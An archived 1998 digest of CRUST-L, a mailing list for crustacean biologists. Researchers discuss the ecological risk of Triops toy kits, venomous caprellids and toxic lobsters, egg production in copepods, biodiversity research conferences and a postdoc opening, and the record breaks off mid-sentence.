From: ""Marcelo A. A. Pinheiro"" Date: Mon, 27 Apr 1998 14:20:04 -0300 Subject: CRUST-L: Triops longicaudatus This is a multi-part message in MIME format. - ------=_NextPart_000_000A_01BD71E7.92A65400 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear friends,=20 A Brazilian factory of toys began the commercialization of Triops = longicaudatus kits (eggs + food) with educational purpose for the = juvenile public of my country... perhaps a substitution of the famous = ""virtual pet"". In spite of the authorization obtained for this purpose, = I was very worried with a possible accidental dispersion in our waters, = mainly after I had information on its fast growth, great size in the = adult phase, rusticity, maturity and feeding. Certainly the accidental = introduction of this exotic species will bring tragic ecological = consequences for other native species... Does anybody have some news on = environmental impact caused by this species? I am picking this = information to do an opinion on the subject for the authorities of my = country.=20 I thank your attention...=20 Marcelo Pinheiro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Prof. Dr. Marcelo Antonio Amaro Pinheiro FCAV - UNESP Campus de Jaboticabal Laborat=F3rio de Biologia de Crust=E1ceos (NEBECC) Depto. de Biologia Aplicada Rod. Carlos Tonanni, km 5 - CEP 14.870-000 Jaboticabal (SP) - Brasil Fone: +55 16 3232500 (Ramal 230) Fax: +55 16 3224275 e-mail: pinheiro@fcav.unesp.br ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - ------=_NextPart_000_000A_01BD71E7.92A65400 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear friends, A Brazilian factory of toys began the = commercialization=20 of Triops longicaudatus kits (eggs + food) with educational = purpose for=20 the juvenile public of my country... perhaps a substitution of the = famous=20 ""virtual pet"". In spite of the authorization obtained for this = purpose, I was very worried with a possible accidental dispersion in our = waters,=20 mainly after I had information on its fast growth, great size in the = adult=20 phase, rusticity, maturity and feeding. Certainly the accidental = introduction of=20 this exotic species will bring tragic ecological consequences for other = native=20 species... Does anybody have some news on environmental impact caused by = this=20 species? I am picking this information to do an opinion on the subject = for the=20 authorities of my country. I thank your attention... Marcelo Pinheiro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Prof. Dr. Marcelo = Antonio=20 Amaro PinheiroFCAV - UNESP Campus de JaboticabalLaboratório de Biologia de Crustáceos = (NEBECC) Depto. de Biologia AplicadaRod. = Carlos=20 Tonanni, km 5 - CEP 14.870-000Jaboticabal (SP) - BrasilFone: +55 = 16=20 3232500 (Ramal 230)Fax: +55 16 3224275e-mail: pinheiro@fcav.unesp.br~~~~= ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ = - ------=_NextPart_000_000A_01BD71E7.92A65400-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Mark J. Costello"" Date: Mon, 27 Apr 1998 21:51:33 GMT Subject: CRUST-L: biodiversity and research Some news which may interest crustys because crustaceans are one of the most widespread components of biodiversity: 1. A European Science Foundation study group has recently produced a plan for marine biodiversity research. It is available on the web at: http://www.esf.org/mpb/Marbio.html 2. The Communication of the European Commission to its Parliament concerning how the Convention on Biological Diversity would be implemented by the European Union is available at http://europa.eu.int:80/en/comm/dg11/docum/9842en.pdf This is a most important document and covers all sectors, including research. An email conference to discuss this communication will be starting soon (See point 4 below). 3. The European Commission environmental research section of DGXII funded a Working Group on Research and Biodiversity (EWGRB) in 1997 which produced a report available on the world wide web. This report is being used to direct research funding on biodiversity in Europe. Information is available on the web at http://www.oden.se/~ewgrb http://www.algonet.se/~bear http://www.geocities.com/HotSprings/Spa/5711/index.html There was limited marine and freshwater input to this group. However it is still possible to contribute to its debate through an electronic conference which has led on from the EWGRB to start shortly (see point 4 below). I will be chairing the 'fisheries' section but the scope of this is as wide as we wish, i.e. all marine activities which may be affected by or may be effected by fisheries. Offers of contributions are very welcome. 4. An electronic conference to discuss biodiversity research needs is to be held from 4 May until 16 June 1998. One can participate by (a) joining an email discussion group (i.e. a 'listserver' where messages sent to a single address are automatically bounced back to all persons who have 'subscribed'). You can subscribe to the email listserver by sending the message SUBSCRIBE BIODIV to listserver@e-mail.gencat.es, or through the web site (see below). You will receive an automatic reply providing additional instructions. (b) visiting (reading) the web site and making contributions to the 'discussion Forum' via this same web site. 5. The European Commission Statistical Office in collaboration with the European Environment Agency has produced a suite of indicators of pressures on the environment covering all sectors. A full list of the methodology for deriving each indicator is available at Eurostat indicators of pressure on marine and coastal biodiversity (http://www.telecom.es/tau/sheets.htm). good reading Mark. Dr Mark J. Costello, Ecological Consultancy Services Ltd (EcoServe), 7 Glenmalure Park, Rialto, Dublin 8, Ireland. http://www.ecoserve.ie E-mail: mcostello@ecoserve.ie Tel. + 353-1- 490 32 37; Home office - 453 31 95; Fax + 353-1- 492 56 94; Mobile 087 - 239 339 0. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Gustav Paulay Date: Tue, 28 Apr 1998 09:50:00 +1000 (GMT+1000) Subject: Re: CRUST-L: Re: Toxic crustaceans For whatever it is worth, on the island of Mauke (Cook Islands), the spiny lobster Panulirus penicillatus is regarded as toxic by the locals on some parts of the reef, but not elsewhere. Gustav Paulay Marine Lab university of Guam On Mon, 27 Apr 1998, Jeffrey Shields wrote: > Crustlers, > > Considering bioamplification, it seems odd that spiny lobster do not > accumulate the various toxins as do the SPacific crabs. > > Any idea on why? > > CHeers, Jeff > jeff@vims.edu > ( ) ( ) Jeffrey Shields > (^ ^) (^ ^) Assistant Professor > (^) . . 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Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Brent Newman zool Date: Tue, 28 Apr 1998 10:52:10 +0000 (SAST) Subject: CRUST-L: Re: your mail Maria Thanks for the reply and the references, I really appreciate it. > My opinion is that species with abbreviated development with two or > three zoeal stages should exhibit some kind of lecithotrophy-not > yet docummented. I agree here, especially when I consider the results from my experiments. Upogebia africana larvae show a really high degree of lecithotrophy, although larval development is not completely lecithotrophic, again here facultative lecithotrophy is NB as the effects of starvation are clearly evident on later development. Interestingly, a fourth zoeal stage appears under intense starvation. I am nearing the completion of this work and will send you a copy of the chapter for my PhD thesis and would appreciate it if you could provide comments. Regards Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 28 Apr 1998 10:52:58 -0400 (EDT) Subject: CRUST-L: molecular systematics postdoc (fwd) Please respond to Barbara Cook and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: ""BA COOK"" Organization: University of Stellenbosch To: crust-l@vims.edu Date: Tue, 28 Apr 1998 16:37:02 +0200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: (Fwd) molecular systematics postdoc Priority: normal X-mailer: Pegasus Mail for Windows (v2.54) Message-ID: <88819C219B0@land.sun.ac.za> Dear fellow Crusters I am looking for someone who has experience in the field of crustacean molecular systematics who might be interested in joining our research group as a post-doc for 1-2 years starting 1999. Projects which the post doc can get involved with include the phylogenetic relationships of the potamonautid river crabs of southern Africa, phylogenetic relationships within the the dromiid sponge crabs, or the molecular systematics of the phreatoicidean isopods. If you are interested, give me a shout! Barbara Cook Dr Barbara Cook Department of Zoology University of Stellenbosch Private Bag X1 Matieland 7602 South Africa tel: (021)808-3230 fax: (021)808-2405 Dr Barbara Cook Department of Zoology University of Stellenbosch Private Bag X1 Matieland 7602 South Africa tel: (021)808-3230 fax: (021)808-2405 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jose Luis Bortolini Rosales Date: Tue, 28 Apr 1998 11:16:15 -0500 (CDT) Subject: [none] Any body know the e-mail of the Dr. Jean Hoeg. Thank you Atte. Biol. Jose Luis Bortolini Rosales Laboratorio de Invertebrados, Departamento de Biologia, Facultad de Ciencias, Universidad Nacional Autonoma de Mexico Apartado Postal 70-371 Mexico D. F. 04510 MEXICO Tel.- (5) 6224919; Fax.- (5) 6224828 e-mail: jlbr@hp.fciencias.unam.mx; jlbr2@servidor.unam.mx ======================================================================== The sea does not reward those who die to anxious, too greedy, or too impatient. To dig for treasures show not only impatience and greed, but lack of fiith. Patience, patience, petience, is what the sea teaches. Patience and faith. One should lie empty, open choiceless as a beach waiting for a gift from the sea. ======================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Mark J. Costello"" Date: Tue, 28 Apr 1998 22:40:37 GMT Subject: CRUST-L: Electronic conference on biodiversity research needs Dear subscribers, The Electronic Conference on Biodiversity and Research starts on next Monday 4th MAY !!! The main goal of the Electronic Conference is to foster an open and active dialogue=20 on the various fields in which all their representatives take part in. Participants will be able to send their opinions, and to comment on the previous=20 contributions, to reply and counter-reply. The Electronic Conference is open to everybody; opinions, comments,= questions=20 and worries concerning biodiversity are welcomed from various sectors. To participate in the Electronic Conference the following means are= available: a Mail List (list server) and a World Wide Web Site. Participants wil be able to take part in the Electronic Conference=20 either by subscribing to the mail list, or by visiting the Web site and= making=20 contributions to the Discussion Forum. The web page is being updated throughout this week with new contents. http://www.gencat.es/mediamb/biodiv Discussion forum pages, will be set this next week. Below, we enclose the progamme of the Electronic Conference: ***PROGRAMME*** =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The ECRB will have two main documents as a background: - -The Report ""Understanding Biodiversity"", EWGRB, 1997. http://www.oden.se/~ewgrb - -The newly presented European Community Biodiversity Strategy. http://europa.eu.int:80/en/comm/dg11/docum/9842en.pdf The Electronic Conference will run from 4th May to 14th June, 1998. Six members of the European Working Group on Research and Biodiversity=20 will chair the Conference one day of the week each, throughout six weeks=20 being responsible for one of the following policy areas: - -Agriculture- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Monday Chair: Dr. Allan D. Watt. Institute of Terrestrial Ecology, Edinburgh Scotland. UK - -Fisheries and Forestry- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Tuesday Chair (forestry): Dr. Tor-Bj=F6rn Larsson=20 Swedish Environmental Protection Agency, Stockholm SWEDEN Chair (fisheries): Dr. Mark Costello. Ecological Consultancy Services Ltd (Ecoserve), Dublin IRELAND - -Conservation of Natural Resources- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Wednesday Chair: Dr. Andreas Troumbis University of the Aegean, Lesbos Island, Mytilini GREECE - -Tourism and Hunting- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Day of week: Thursday Chair: Dr. Linus Svensson.=20 Lund University, Lund SWEDEN - -Regional and Spatial Planning. Energy and Transport-=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=20 Day of week: Friday Chair: Mr. Peter Nowicki European Center for Nature Conservation. Tilburg NETHERLANDS Every day the Chair will introduce one guest, an outstanding representative= =20 of the sector which will make a contribution falling into the respective policy area.=20 The contribution and comments made by the Chair will act as a start for discussion. Comments and suggestions falling into any of the five fields are expected every day. The last week (8th June), final conclusions on each of the Policies Areas will be=20 presented by the respective Chair. This Web site will remain open some weeks after the end of the E-conference. Do not hesitate to contact us for further information: The Electronic Conference on Research and Biodiversity Secretariat c/o Ministry of Environment Autonomous Government of Catalonia Diagonal, 523-525 E-08029, Barcelona E-conference e-mail: wbiodiv@correu.gencat.es Dr Mark J. Costello, Ecological Consultancy Services Ltd (EcoServe), 7 Glenmalure Park, Rialto, Dublin 8, Ireland. http://www.ecoserve.ie E-mail: mcostello@ecoserve.ie Tel. + 353-1- 490 32 37;=20 Home office - 453 31 95; Fax + 353-1- 492 56 94; Mobile 087 - 239 339 0. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 29 Apr 1998 09:04:56 -0400 (EDT) Subject: CRUST-L: toxic crustaceans (fwd) Please respond to the list and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: ""Kim Larsen"" To: crust-l@vims.edu Date: Wed, 29 Apr 1998 20:55:35 GMT+1000 Subject: Toxic Crustaceans Priority: normal In-reply-to: <199804220733.DAA02964@back.vims.edu> X-mailer: Pegasus Mail for Windows (v2.52) Message-ID: <2FDD9FD59EF@rna.bio.mq.edu.au> Hi phil! Regarding venomous caprellids. You are probably referring to a publication of Wetzel (1932) who reported that a spine on the second pair of gnathopods was connected to glandular tissue and that this appeared to be venomous in nature. Additional evidence was provided by Costa (1960) stating that the prey of Phtisica mariner was unable to struggle shortly after being seized, thus indicating venom being introduced. However this is only cercumstancial evidence, since most caprellid species do not use the second gnathopods in capturing prey, but the first gnathopods and the antennas. Another problem is that the term poison tooth was used by P. Mayer 40 years before the publication of Wetzel. For whatever reason I do not know. Thus the question if caprellids are venomous still stand unresolved I am afraid. Personally I doubt it. Kim Larsen =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 29 Apr 1998 09:06:40 -0400 (EDT) Subject: CRUST-L: first egg batch Please respond to Peter Heuch and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: ""Heuch, Peter Andreas"" To: ""'CRUST-L@VIMS.EDU'"" Subject: first egg batch Crustlers, Does anybody know whether there is a difference in egg number and/or quality in successive egg batches of crustaceans? We have found that in the parasitic copepod Lepeophtheirus salmonis the first egg batch is always smaller than the rest. Any similar observations? Cheers Peter Peter Andreas Heuch National Veterinary Institute Veterin=E6rinstituttet Oslo Fish Health Section Seksjon for Fiskehelse PO Box 8156 Dep., Pb. 8156 Dep., N-0033 Oslo 0033 Oslo Norway T: +47 22 96 46 64 F: +47 22 46 38 77 Peter-Andreas.Heuch@vetinst.no =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #139 ***************************** >From owner-crust-l Tue May 5 22:21:01 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id WAA25172 for crust-l-digest-outgoing; Tue, 5 May 1998 22:18:30 -0400 Date: Tue, 5 May 1998 22:18:30 -0400 Message-Id: <199805060218.WAA25172@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #140 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 14 crust-l-digest Tuesday, 5 May 1998 Volume 01 : Number 140 CRUST-L: Apologies Re: CRUST-L: toxic crustaceans (fwd) Re: CRUST-L: first egg batch (fwd) CRUST-L: re: toxic caprellids CRUST-L: stinging crustaceans Re: CRUST-L: stinging crustaceans CRUST-L: Stinging creatures CRUST-L: Lectureship in Crustacean Aquaculture CRUST-L: Crayfish identification??? CRUST-L: Sacculina research CRUST-L: Information on Anonyx CRUST-L: Molecular biology cooporation CRUST-L: molecular biology CRUST-L: Information on Anonyx CRUST-L: ocypode quadrata (fwd) CRUST-L: moult-free growth CRUST-L: Caprellid nasties ---------------------------------------------------------------------- From: Brent Newman zool Date: Wed, 29 Apr 1998 16:25:05 +0000 (SAST) Subject: CRUST-L: Apologies Fellow Members My sincerest apologies for the personal message that I inadvertently sent to all of you. I apologise for this. Regards Brent =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Wed, 29 Apr 1998 12:49:21 -0500 Subject: Re: CRUST-L: toxic crustaceans (fwd) This pretty much confirms my suspicions. I'd forgotten the references (and mine are all buried in the book-box orogeny that is my library right now), but the reference to Wetzel sounds like what I was remembering. The venomous nature of a gland's secretion cannot be determined by histology or histochemistry. Immunocytochemistry would do the job, if anyone had antibodies to possible venoms. Otherwise, studies such as Costa's that Kim referenced need to be done. ""Poison tooth"" may have been used if Mayer saw a pore in or at the base of the spine/spiniform seta on gn2 that sits next to where the distal end of the terminal segment contacts the penulitmate segment when the former closes. (I've forgotten the Official Names for the moment. Need more gingko.) Phil > Regarding venomous caprellids. You are probably referring >to a publication of Wetzel (1932) who reported that a spine on the >second pair of gnathopods was connected to glandular tissue and that >this appeared to be venomous in nature. Additional >evidence was provided by Costa (1960) stating that the prey of >Phtisica mariner was unable to struggle shortly after being seized, >thus indicating venom being introduced. > However this is only cercumstancial evidence, since most caprellid >species do not use the second gnathopods in capturing prey, but the >first gnathopods and the antennas. Another problem is that the term >poison tooth was used by P. Mayer 40 years before the publication of >Wetzel. For whatever reason I do not know. Thus the question if >caprellids are venomous still stand unresolved I am afraid. >Personally I doubt it. > >Kim Larsen }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 29 Apr 1998 13:55:40 -0400 (EDT) Subject: Re: CRUST-L: first egg batch (fwd) Please respond to the list, or Peter Heuch, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Wed, 29 Apr 1998 11:53:45 -0400 (EDT) From: GEORGER@UNCWIL.EDU To: jeff@vims.edu Subject: Re: CRUST-L: first egg batch Hello, I can report on fecundity from what I know. The Antatctic krill begins to produce eggs as the autral summer commences around christmas but the egg production goieson throughtout the summer for five more months or sobut the fecundity decreases. This trend is just the opposite of waht you have seen in yout critter, also a crustacean but your species has a different life style, being parasitic. Regards, Bob George Carcinologist. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""DANIEL ABED-NAVANDI"" Date: Thu, 30 Apr 1998 12:12:36 MET-1MEST Subject: CRUST-L: re: toxic caprellids Regarding toxic (or not ?) caprellids I can offer anecdotal support: While sorting dreged material I was stung by an animal which turned out to be a small caprellid. The pain I felt in my finger was similar to that of a bee-sting and lasted for a few hours. Regards Daniel _______________________________________ Daniel Abed-Navandi Department for Marine Biology Institute for Zoology University of Vienna Tel: ++43.1.31336.1295 Fax: ++43.1.31336.778 Althanstrasse 14 A-1090 Vienna Austria """""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 30 Apr 1998 09:26:35 -0400 (EDT) Subject: CRUST-L: stinging crustaceans Unbelievable! Please respond to the list directly, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Martin Thiel To: ""'crust-l@vims.edu'"" Subject: stinging caprellids... Date: Thu, 30 Apr 1998 08:02:18 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Now I cannot resist. A few years ago during a literature-search i came across a 1-page article where somebody reported that he was attacked by caprellids. Obviously this person had quite a formidable chest-hair, and the caprellids had taken refuge in his chest-hair while he was taking a swim in the ocean. when he came back onto the beach, the caprellids became unhappy, and started to bite this poor person. I kind of remember that he had quite a painful experience. This must have been such an remarkable event for him that he thought it would be worthwhile to report this caprellid-attack. as far as i recall he did not however speculate on venoms, but it sounds that it would be worthwhile to repeat this experiment. it requires, however, a formidable chest-hair..... unfortunately i cannot recall where this was published, and i did at that time not make a copy of the paper.... looking forward to read more about caprellid-attacks, martin =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Judith Weis Date: Thu, 30 Apr 1998 10:23:02 -0400 (EDT) Subject: Re: CRUST-L: stinging crustaceans This sounds like a good idea for one of those ""horrible creatures from the deep"" movies... 1880's: ""There's lots of good fish in the sea"" W.S. Gilbert 1990's: Many fish stocks depleted due to overfishing, habitat loss, and pollution. \\ \\ \\ \\ \\ - - _ - \\ \\ \\ \\ ----\\ - _ - \\ - - ( O \\ _ - -_ __ / - - / -/// _ ______ ___/ /// / Judith S. Weis Department of Biological Sciences Rutgers Univ. Newark NJ 07102 jweis@andromeda.rutgers.edu On Thu, 30 Apr 1998, Jeffrey Shields wrote: > Unbelievable! Please respond to the list directly, and not to me. > Thanks, > Jeff > > ---------- Forwarded message ---------- > From: Martin Thiel > To: ""'crust-l@vims.edu'"" > Subject: stinging caprellids... > Date: Thu, 30 Apr 1998 08:02:18 -0400 > MIME-Version: 1.0 > X-Mailer: Internet Mail Service (5.0.1460.8) > Content-Type: text/plain > > Now I cannot resist. A few years ago during a literature-search i came > across a 1-page article where somebody reported that he was attacked by > caprellids. Obviously this person had quite a formidable chest-hair, and the > caprellids had taken refuge in his chest-hair while he was taking a swim in > the ocean. when he came back onto the beach, the caprellids became unhappy, > and started to bite this poor person. I kind of remember that he had quite a > painful experience. This must have been such an remarkable event for him > that he thought it would be worthwhile to report this caprellid-attack. as > far as i recall he did not however speculate on venoms, but it sounds that > it would be worthwhile to repeat this experiment. it requires, however, a > formidable chest-hair..... > unfortunately i cannot recall where this was published, and i did at that > time not make a copy of the paper.... > looking forward to read more about caprellid-attacks, martin > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 30 Apr 1998 10:43:48 -0400 (EDT) Subject: CRUST-L: Stinging creatures Crustlers, Martin's post on chest-hair clinging caprellids reminded me of an experience on the Great Barrier Reef. My wife and I were swimming along the reef crest when we were ""surrounded"" by a large number of pteropods, and extremely small gelatinous creatures (comb and other jellies). My wife's swim suit acted to filter the jellies onto her bosom where she was stung repeatedly. Chest hairs protected me from all of the stings. We both wore sting suits thereafter. In a similar occurrence, I had a blue bottle (Physalia) tentacle brush across my face and was saved from a burn by the fact that I hadn't shaved for two days. Guess there's something to say for being a 